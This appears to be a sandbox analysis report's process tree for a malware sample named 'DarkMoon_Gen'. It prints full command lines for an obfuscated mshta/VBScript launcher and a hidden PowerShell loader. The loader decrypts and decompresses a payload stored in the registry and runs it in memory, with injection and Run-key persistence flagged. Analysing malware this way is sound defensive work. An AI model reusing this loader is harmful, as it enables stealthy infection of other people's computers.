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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%3⤵
- Executes dropped EXE
PID:544 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4496
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4464 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{c14d745e-fa6f-4bb0-9517-59b0be2dfa56}5⤵PID:1676
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{7e211fb7-69b8-40c6-b2cf-6c0ed0861466}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4464).WaitForExit();[System.Threading.Thread]::Sleep(5000); function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$MfWDX = $AFKcp1.('rotpyrceDetaerC'[-1..-15] -join '')();$OXRcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ud8pMApbv/gxu+JXtMI7A==');$OXRcs = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs, 0, $OXRcs.Length);$OXRcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs);$MJSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3VJkIni/eEgLNMCmmbuF+9uJHd2ZxHH9BvEMmnfuAs4=');$MJSJO = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MJSJO, 0, $MJSJO.Length);$MJSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4216
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{55ee617b-9ceb-48a0-8e5c-33d484090d4b}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2500
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{5a6b2a0b-fe8a-4ee3-812a-785c0aa85d56}5⤵PID:5728
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{6969b8dc-b973-418c-948c-4ec587942f22}5⤵PID:1008
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{972e8bc9-8bf1-4781-b8a7-70acabd0eaab}5⤵PID:5544
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{1452ff76-9800-41ff-a0db-d5680b56990f}5⤵PID:3200
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3200 -s 4566⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5512
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{90c9042f-20a3-4621-bd1f-8a61ea0fca9b}5⤵PID:5616
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C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{baf659dc-cb4b-4b1a-9d5f-d0169d4972ed}5⤵PID:5820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1424
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2644
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1444
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1612
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1688
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1968
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2056
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2124
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2200
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2760
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2860
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2880
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3436
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3540
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\start.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\DarkMoon_Gen.exeDarkMoon_Gen.exe3⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3260 -
C:\Windows\SYSTEM32\cmd.execmd /c "Dark Moon gen.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1912
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C:\Windows\system32\chcp.comchcp 650015⤵PID:3064
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C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
PID:2788
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:1808
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:4556
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:4740
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:3328
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:4552
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:2848
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:1040
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C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
PID:4684
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C:\Windows\system32\PING.EXEping discord.com5⤵
- Runs ping.exe
PID:3576
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:1636
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C:\Windows\system32\PING.EXEping www.paysafecard.com5⤵
- Runs ping.exe
PID:764
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:2024
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C:\Windows\system32\PING.EXEping www.amazon.com5⤵
- Runs ping.exe
PID:2924
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C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
PID:2280
